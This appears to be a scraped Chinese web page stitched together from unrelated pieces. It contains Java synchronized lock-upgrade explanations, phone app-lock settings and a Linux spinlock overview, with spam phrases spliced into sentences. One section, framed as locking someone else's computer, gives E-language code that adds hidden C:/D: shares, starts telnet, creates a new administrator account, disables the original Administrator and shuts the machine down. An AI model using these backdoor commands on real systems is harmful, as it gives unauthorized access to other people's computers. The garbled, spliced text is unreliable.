MarkWord和Synchronized的锁升级机制详解(JDK8)
锁升级机制在JDK 后已经废弃,本文所述仅为面试中常问的码锁低版本synchronized的锁升级机制,具体新机制需查阅最新JDK源码。原理
在Java并发编程中,锁升升级synchronized是码锁最常用的关键字,用于保护代码块和方法在多线程场景下的原理卖家巴士源码并发安全问题。synchronized锁基于对象实现,锁升升级通常用于修饰同步方法和同步代码块。码锁
下面给出一段简单的原理Java代码,包含三种synchronized的锁升升级使用方法,通过反编译查看字节码,码锁了解synchronized的原理实现原理。
修饰方法时,锁升升级synchronized关键字会在方法的码锁字节码中添加ACC_SYNCHRONIZED标志,确保只有一个线程可以同时执行该方法。原理synchronized修饰静态方法同样添加此标志。
修饰代码块时,synchronized关键字会在相应的指令区间添加monitorenter和monitorexit指令,JVM通过这两个指令保证多线程状态下的同步。
ACC_SYNCHRONIZED、monitorenter、monitorexit的解释,来源于官网介绍和chatgpt翻译。
方法级的synchronized隐式执行,通过ACC_SYNCHRONIZED标志区分,方法调用指令会检查此标志。调用设置ACC_SYNCHRONIZED的方法时,线程进入monitor,执行方法,并在方法调用正常完成或异常中断时退出monitor。
monitorenter指令尝试获取与对象相关联的monitor的所有权,monitorexit指令执行时,对象相关联的monitor的进入计数减1。
Monitor是Java中用于实现线程同步和互斥的机制,每个Java对象都与一个Monitor相关联,主要目的是确保在任何给定时间,只有一个线程能够执行与特定对象相关联的临界区代码。
ObjectMonitor是JDK 的HotSpot源码中定义的Monitor,其核心参数包括EntrySet、WaitSet和一个线程的owner。
Java对象与monitor关联,需要了解Java对象布局和对象头的相关知识。
在JDK 1.6之前,synchronized需要依赖于底层操作系统的Mutex Lock实现,导致效率低下。在JDK 1.6之后,引入了偏向锁与轻量锁来减小获取和释放锁的性能消耗。
锁升级分为四种状态:无锁 -> 偏向锁 -> 轻量级锁 -> 重量级锁,锁会随着线程的竞争情况逐渐升级,但锁升级是不可逆的。
偏向锁在没有其他线程竞争时,持有偏向锁的线程不会主动释放,偏向锁的释放时机是在其他线程竞争该锁时。
轻量级锁使用CAS操作,尝试将对象头部的锁记录指针替换为指向线程栈上的锁记录。轻量级锁的撤销意味着不再通过自旋的方式等待获取锁,而是直接阻塞线程。
重量级锁状态下,键盘可以查看源码对象的头部会指向一个Monitor对象,该Monitor对象负责管理锁的获取和释放。
JDK 1.6及之后版本引入了自适应自旋锁、锁消除和锁粗化等锁优化策略,以进一步提升synchronized的性能。
自适应自旋锁根据前一次在相同锁上的自旋时间以及锁的持有者状态来动态决定自旋的上限次数。
锁消除是JVM在JIT编译期间进行的优化,通过逃逸分析来消除不可能存在共享资源竞争的锁。
锁粗化是通过将加锁范围扩展到整个操作序列的外部,降低加锁解锁的频率来减少性能损耗。
本文总结了JDK8中synchronized的锁升级机制,介绍了无锁 -> 偏向锁 -> 轻量级锁 -> 重量级锁的升级流程,以提升并发效率。
如何给手机软件加密
OPPO手机怎么设置任何来源安装应用需要密码
手机自带“软件商店APP里的应用,都已通过安全检测,无需密码验证可以直接下载安装。安装身份验证是下载或安装应用提示需要密码验证功能。设置方法:ColorOS及以上版本:进入「设置>密码与安全>系统安全>身份验证」,根据实际需求选择“所有来源安装进行验证”或“非软件商店安装进行验证”即可。
设置方法:ColorOS及以上版本:进入「设置>权限与隐私>应用锁」,输入隐私密码,选择需要加密的应用,选择开启加密。
oppo软件安装密码在哪里设置?在手机设置菜单中点击安全。点击安装身份验证。在身份验证设置下,点击验证频率,勾选为始终需要即可。
一般来说,oppo下载软件不需要设置密码。如果在oppo手机上安装了密码锁应用,那么在下载时需要输入密码。
为您整理如下OPPO手机允许安装未知来源软件方法:ColorOS及以上版本:「设置>密码与安全>系统安全>外部来源应用」。ColorOS-版本:「设置>安全>安装外部来源应用」。
安卓手机下载应用怎么设置密码? 打开手机设置,找到应用锁功能,勾选需要加锁的应用,设置密码后即可完成加锁操作,这样打开应用就需要先解锁了。Android是一种基于Linux的自由及开放源代码的操作系统。因此当手机通过部分下载渠道安装软件时,会提示账号验证/指纹验证,可有效防止恶意软件静默安装。点击手机上的设置,进入到用户设置界面。.在设置里面找到指纹与密码选项,点击进入。
OriginOS/iQOOUI/FuntouchOS0及以上:(1)进入i管家--实用工具--隐私保护--应用加密--应用加密--打开软件后的开关,即可加密软件。
第一步:以OPPOR9S手机为例,点击设置。第二部:进入设置以后,选择”指纹与密码“选项。第三步:打开”安全验证“一栏的开关,然后点击“添加指纹”。
安卓手机下载要密码怎么弄? 1、可先将手机升级HarmonyOS系统后,.net简单论坛源码进入设置系统和更新开启了纯净模式。开启纯净模式后,当通过非应用市场渠道安装的应用时,需要验证设置的锁屏密码,才能继续安装。2、点击手机上的设置程序,进入到手机的设置后台程序。在设置的页里面找到高级设置选项。高级选项设置的页面中,有一个学生模式,点击此选项。进入之后,点击选择开启学生模式。
3、第一步:以OPPOR9S手机为例,点击设置。第二部:进入设置以后,选择”指纹与密码“选项。第三步:打开”安全验证“一栏的开关,然后点击“添加指纹”。
4、并非所有安卓手机,均有这个功能。我知道华为手机有一个叫做家长模式的,设置以后,只要下载APP,就必须输入密码,否则无法下载。而一般的手机,只能设置能或者不能下载第三方应用。
5、其中的软件经过测试,使用更安全,兼容性更好。如需关闭“安装时进行身份验证”功能,可以进入设置--安全/安全与隐私--更多安全设置--应用安装--安装时进行身份证验证--关闭选项.安卓9及以下机型目前不支持关闭。
华为手机怎么设置下载软件时要输入密码 1、可先将手机升级HarmonyOS系统后,进入设置系统和更新开启了纯净模式。开启纯净模式后,当通过非应用市场渠道安装的应用时,需要验证设置的锁屏密码,才能继续安装。2、通过设置系统和更新纯净模式打开,开启纯净模式即可。
3、华为手机下载的软件安装不需要手机密码,但是华为目前的系统,都有学生模式,只要开启设置过密码,这手机下载任何应用,都会要输入密码确认了。
4、华为手机怎么设置下载软件需要密码华为手机开启纯净模式后,当通过非应用市场渠道安装的ssh微信源码应用时,需要验证设置的锁屏密码,才能继续安装,开启纯净模式具体操作步骤如下:打开手机设置,点击系统和更新选项。
5、步骤一:打开手机管家。步骤二:点击应用锁,首次进入时请按提示设置四位数密码和密码问题。步骤三:打开需要锁定应用后的开关。下次开启该应用时需要输入密码。在应用锁界面,点击设置,可修改密码或关闭应用锁。
安卓手机怎么设置应用加密 1、打开手机设置,找到应用锁功能,勾选需要加锁的应用,设置密码后即可完成加锁操作,这样打开应用就需要先解锁了。Android是一种基于Linux的自由及开放源代码的操作系统。2、其实苹果手机的使用限额时间功能,差不多就相当于安卓的APP锁,一起来看看如何设置。
3、操作系统:安卓版本;软件:自带设置程序版本。点击手机桌面的设置按钮进入。进入到设置页面以后点击权限与隐私。页面跳转以后点击应用锁进入。页面跳转以后将应用锁的按钮打开。
4、安卓系统给微信加密锁需要支持应用锁的手机才可以设置,在这里华为P手机为例子,给微信加密锁的方法如下:在手机的界面点击手机上的设置。进入到设置的页面以后,接着点击安全和隐私。
5、因此当手机通过部分下载渠道安装软件时,会提示账号验证/指纹验证,可有效防止恶意软件静默安装。点击手机上的设置,进入到用户设置界面。.在设置里面找到指纹与密码选项,点击进入。
6、第一步:以OPPOR9S手机为例,点击设置。第二部:进入设置以后,选择”指纹与密码“选项。第三步:打开”安全验证“一栏的开关,然后点击“添加指纹”。
华为手机设置下载软件时要输入密码? 1、开启纯净模式后,当通过非应用市场渠道安装的应用时,需要验证设置的锁屏密码,才能继续安装。2、查看源码ndk版本华为手机下载的软件安装不需要手机密码,但是华为目前的系统,都有学生模式,只要开启设置过密码,这手机下载任何应用,都会要输入密码确认了。
3、不需要,华为手机下载的软件安装不需要手机密码。
4、通过设置系统和更新纯净模式打开,开启纯净模式即可。
易语言怎么做把别人电脑锁了再设密码
运行 (“net share houmen$=c:\”, 假, )
运行 (“net share houmen2$=d:\”, 假, )
运行 (“net start telnet”, 假, )
运行 (“net start Server”, 假, ) ' 以上是添加后门
运行 (“net user 想知道密码加我QQxxxxxxxxxxx tianya /add”, 假, ) ' 新建一个用户 用户名叫想知道密码加我QQxxxxxxxxx密码为tianya
运行 (“net user 想知道密码加我QQxxxxxxxxxxx /active:yes”, 假, ) ' 激活这个用户
运行 (“net localgroup Administrators 想知道密码加我QQxxxxxxxxxxx/add”, 假, ) ' 把新建的用户升级为管理员权限,使其具有超级权限。
运行 (“net user Administrator /active:no”, 假, ) ' 把原来的帐号禁用
运行 (“shutdown.exe -s -t 1 ”, 假, ) ' 关机命令
java中的各种锁详细介绍
Java提供了多种锁以满足不同的并发需求,这些锁的特性各异,适用于不同的场景。本文旨在概述锁的源码(JDK 8版本),并举例说明使用场景,帮助读者理解锁的知识点以及不同锁的适用情况。接下来,我们将按照以下结构进行分类介绍:乐观锁 vs 悲观锁、自旋锁 vs 适应性自旋锁、无锁 vs 偏向锁 vs 轻量级锁 vs 重量级锁、公平锁 vs 非公平锁、可重入锁 vs 非可重入锁、独享锁 vs 共享锁。乐观锁 vs 悲观锁
乐观锁与悲观锁基于对并发操作的预设不同。悲观锁假设并发操作中一定会出现数据修改,因此在获取数据时会先加锁,以防止数据被修改。在Java中,synchronized关键字和Lock接口的实现类多采用悲观锁策略。相反,乐观锁假设并发操作中不会修改数据,只在尝试修改数据时检查数据是否已被修改,若数据未被修改则成功完成操作,否则根据情况采取不同的策略。自旋锁 vs 适应性自旋锁
自旋锁是一种在无需阻塞线程的情况下,通过循环检查条件来尝试获取锁的机制。当锁长时间未被释放时,自旋锁会导致线程持续消耗处理器资源,因此引入了适应性自旋锁。适应性自旋锁会根据前一次自旋等待的时间和锁的持有者状态来决定是否继续自旋或立即阻塞线程。无锁 vs 偏向锁 vs 轻量级锁 vs 重量级锁
锁的状态从无锁升级到重量级锁,主要依据锁的竞争情况和锁的状态。无锁允许所有线程同时访问资源,但只有一个线程能修改成功。偏向锁是为单线程操作而优化的锁,可以避免不必要的锁操作。轻量级锁在偏向锁被其他线程尝试访问时升级,通过自旋和CAS操作尝试获取锁。重量级锁则在多线程竞争时,通过阻塞等待线程来获取锁。公平锁 vs 非公平锁
公平锁按照申请锁的顺序为线程分配锁,确保等待的线程不会饿死,但可能降低整体吞吐效率。非公平锁则直接尝试获取锁,可能导致后申请锁的线程先获取到锁,从而提高吞吐效率,但存在饿死等待线程的风险。可重入锁 vs 非可重入锁
可重入锁允许线程在嵌套调用时重复获取同一锁,避免死锁。非可重入锁不允许重复获取同一锁,可能导致死锁情况。独享锁 vs 共享锁
独享锁一次只能被一个线程持有,允许多线程同时读取数据但不允许写操作。共享锁则允许多个线程同时读取数据,但不允许写操作,以提高并发读取效率。通过以上分类介绍,我们可以更直观地理解Java中锁的特性和适用场景。不同锁的设计旨在解决特定的并发问题,选择合适的锁类型可以显著提升程序的性能和稳定性。
.从源码揭秘偏向锁的升级
深入探讨偏向锁的升级至轻量级锁的过程,主要涉及HotSpot虚拟机的源码分析。在学习synchronized机制时,将通过本篇文章解答关于synchronized功能的相关问题。首先,进行一些准备工作,了解在分析synchronized源码前的必要步骤。然后,通过示例代码的编译结果,揭示synchronized修饰代码块后生成的字节码指令,以及这些指令对应的操作。进一步地,使用jol工具跟踪对象状态,提供更直观的数据支持。
接下来,重点解析monitorenter指令的执行过程,包括其与templateTable_x和interp_masm_x方法之间的关联。通过分析注释中的参数设置,可以理解偏向锁升级为重量级锁的逻辑,以及epoch在偏向锁有效性判断中的作用。进一步,详细介绍对象头(markOop)的结构和其在偏向锁实现中的具体功能,包括epoch的含义及其在更新过程中的角色。
在理解了偏向锁的原理后,将分析其在不同条件下的执行流程,包括是否可偏向、是否重入偏向、是否依旧可偏向、epoch是否过期以及重新偏向等分支逻辑。接着,介绍偏向锁撤销和重偏向的过程,以及在获取偏向锁失败后的操作,即执行轻量级锁加锁的过程。最后,讨论偏向锁与轻量级锁的区别,总结它们的关键技术和性能特点,并简述偏向锁的争议与现状。
在偏向锁的实现中,关键点在于CAS操作的使用,以及在CAS竞争失败时导致的锁升级。偏向锁适用于单线程执行的场景,但在线程交替持有执行时,撤销和重偏向逻辑的复杂性导致性能下降,因此引入轻量级锁以保证“轻微”竞争情况的安全性。尽管偏向锁在Java 中已被弃用,但在当前广泛应用的Java 8环境下,了解偏向锁的原理仍然具有重要意义。
总结而言,偏向锁与轻量级锁分别针对不同场景进行了优化,它们的核心逻辑基于CAS操作,但在处理线程竞争时的表现有所不同。通过深入学习这两种锁的升级过程,可以更好地理解synchronized机制在Java并发编程中的应用。
synchronized关键字
并发编程中的关键点在于数据同步、线程安全和锁。编写线程安全的代码,核心在于管理对共享和可变状态的访问。
共享意味着变量可以被多个线程访问,而可变则意味着变量的值在其生命周期内可以变化。
当多个线程访问某个状态变量,且有一个线程执行写入操作时,必须使用同步机制来协调对这些线程的访问。
Java中的主要同步机制是关键字synchronized,它提供了一种独占的加锁方式。
以下是关于synchronized关键字的几个方面:
关键字synchronized的特性:
不可中断:synchronized关键字提供了独占的加锁方式,一旦一个线程持有了锁对象,其他线程将进入阻塞状态或等待状态,直到前一个线程释放锁,中间过程不可中断。
原子性:synchronized关键字的不可中断性保证了它的原子性。
可见性:synchronized关键字包含了两个JVM指令:monitor enter和monitor exit,它能够保证在任何时候任何线程执行到monitor enter时都必须从主内存中获取数据,而不是从线程工作内存获取数据,在monitor exit之后,工作内存被更新后的值必须存入主内存,从而保证了数据可见性。
有序性:synchronized关键字修改的同步方法是串行执行的,但其所修饰的代码块中的指令顺序还是会发生改变的,这种改变遵守java happens-before规则。
可重入性:如果一个拥有锁持有权的线程再次获取锁,则monitor的计数器会累加1,当线程释放锁的时候也会减1,直到计数器为0表示线程释放了锁的持有权,在计数器不为0之前,其他线程都处于阻塞状态。
关键字synchronized的用法:
synchronized关键字锁的是对象,修饰的可以是代码块和方法,但不能修饰class对象以及变量。
在开发中最常用的是用synchronized关键字修饰对象,可以控制锁的粒度,所以针对最常用的场景,先来看看它的字节码文件。
TIPS:在使用synchronized关键字时注意事项
锁膨胀:
在jdk1.6之前,线程在获取锁时,如果锁对象已经被其他线程持有,此线程将挂起进入阻塞状态,唤醒阻塞线程的过程涉及到了用户态和内核态的切换,性能损耗比较大。
synchronized作为亲儿子,混的太差肯定不行,在jdk1.6对其进行了优化,将锁状态分为了无锁状态、偏向锁、轻量级锁、重量级锁。
锁的升级过程既是:
在了解锁的升级过程之前,重点理解了monitor和对象头。
每一个对象都与一个monitor相关联,monitor对象与实例对象一同创建并销毁,monitor是C++支持的一个监视器。锁对象的争夺即是争夺monitor的持有权。
在OpenJdk源码中找到了ObjectMonitor的源码:
owner:指向线程的指针。即锁对象关联的monitor中的owner指向了哪个线程表示此线程持有了锁对象。
waitSet:进入阻塞等待的线程队列。当线程调用wait方法之后,就会进入waitset队列,可以等待其他线程唤醒。
entryList:当多个线程进入同步代码块之后,处于阻塞状态的线程就会被放入entryList中。
那什么是对象头呢?它与synchronized又有什么关系呢?
在JVM中,对象在内存中分为3块区域:
我们先通过一张图了解下在锁升级的过程中对象头的变化:
接下来我们分析锁升级的过程:
第一个分支锁标志为:
当线程运行到同步代码块时,首先会判断锁标志位,如果锁标志位为,则继续判断偏向标志。
如果偏向标志为0,则表示锁对象未被其他线程持有,可以获取锁。此时当前线程通过CAS的方法修改线程ID,如果修改成功,此时锁升级为偏向锁。
如果偏向标志为1,则表示锁对象已经被占有。
进一步判断线程id是否相等,相等则表示当前线程持有的锁对象,可以重入。
如果线程id不相等,则表示锁被其他线程占有。
需进一步判断持有偏向锁的线程的活动状态,如果原持有偏向锁线程已经不活动或者已经退出同步代码块,则表示原持有偏向锁的线程可以释放偏向锁。释放后偏向锁回到无锁状态,线程再次尝试获取锁。主要是因为偏向锁不会主动释放,只有其他线程竞争偏向锁的时候才会释放。
如果原持有偏向锁的线程没有退出同步代码块,则锁升级为轻量级锁。
偏向锁的流程图如下:
第二个分支锁标志为:
在第一个分支中我们了解到在如果偏向锁已经被其他线程占有,则锁会被升级为轻量级锁。
此时原持有偏向锁的线程的栈帧中分配锁记录Lock Record,将对象头中的Mark Word信息拷贝到锁记录中,Mark Word的指针指向了原持有偏向锁线程中的锁记录,此时原持有偏向锁的线程获取轻量级锁,继续执行同步块代码。
如果线程在运行同步块时发现锁的标志位为,则在当前线程的栈帧中分配锁记录,拷贝对象头中的Mark Word到锁记录中。通过CAS操作将Mark Word中的指针指向自己的锁记录,如果成功,则当前线程获取轻量锁。
如果修改失败,则进入自旋,不断通过CAS的方式修改Mark Word中的指针指向自己的锁记录。
当自旋超过一定次数(默认次),则升级为重量锁。
轻量级流程图如下图:
第三个分支锁标志位为:
锁标志为时,此时锁已经为重量锁,线程会先判断monitor中的owner指针指向是否为自己,是则获取重量锁,不是则会挂起。
整个锁升级过程中的流程图如下,如果看懂了一定要自己画一遍。
总结:
synchronized关键字是一种独占的加锁方式,不可中断,保证了原子性、可见性和有序性。
synchronized关键字可用于修饰方法和代码块,但不能用于修饰变量和类。
多线程在执行同步代码块时获取锁的过程在不同的锁状态下不一样,偏向锁是修改Mark Word中的线程ID,轻量锁是修改Mark Word的指针指向自己的锁记录,重量锁是修改monitor中的指针指向自己。
今天就学到这里了!收工!
spinlock(linux kernel 自旋锁)
"锁"的使命在于保护临界资源,防止多CPU同时访问相同变量,避免数据一致性问题。非原子变量的修改无法在单指令周期内完成,若CPU1更改变量中途,CPU2访问该半成品变量,可能导致严重后果。解决方法是CPU1在修改变量前先"加锁",CPU2在访问变量前也加锁,由于已经被加锁,CPU2将原地等待锁释放。CPU1完成修改后"解锁",CPU2获取锁后加锁访问变量,完成后解锁。自旋锁(spinlock)与信号量、互斥锁不同,等待锁释放时不睡眠,而是自旋。不睡眠的优点是适用于中断上下文运行,且对于快速获取锁的场景效率更高。缺点是长时间等待锁释放会浪费大量CPU资源。
spinlock适用于中断上下文和进程上下文,因此在内核中广泛应用。内核开发者关注其执行效率,spinlock方案经历了多次优化。简单介绍如下:
首先,理解锁的优化,要从一个线程加锁,一千个线程等待锁的极端场景出发。有三种常见模式:
1. CAS模式(Compare And Swap):
通过原子变量控制。加锁时,获取变量为1,获取锁后修改为0。解锁时,将变量修改回1。优点是简单易懂,但存在竞争随机性,等待时间不确定。
2. Ticket模式:
解决CAS模式的随机竞争问题。锁包含tail值,加锁时保存本地变量,将tail+1,与锁的head对比,若相等则持有锁。解锁时,将head+1,所有等待的线程重新读取内存,确认是否轮到自己持有锁。优点是实现公平,先到先得,但浪费CPU资源。
3.MCS模式(Mellor-Crummey and Scott):
解决Ticket模式的CPU浪费问题。使用单向链表实现顺序通知,效率更高,但结构体中使用指针,占用内存空间。MCS相比Ticket多出4字节内存,但自旋锁在内核中频繁使用,追求极致效率的开发者不能容忍这种浪费。
最终形态为qspinlock,基于MCS模式改进,节省内存开销,保持高效执行。使用步骤包括包含头文件、定义自旋锁、初始化、加锁解锁。API适应中断嵌套和进程混合加锁,不考虑中断抢占时有其他接口。源码路径包括kernel\locking\spinlock.c、kernel\locking\qspinlock.c和include\linux\spinlock.h。原理阐述较多,代码解析不多,简单查看spin的层级即可。spinlock方案的演进对开发者无感,内核开发者可以轻松升级spin方案。更多内容请参阅RTFSC专栏。
2024-11-30 09:51
2024-11-30 09:41
2024-11-30 08:25
2024-11-30 07:54
2024-11-30 07:53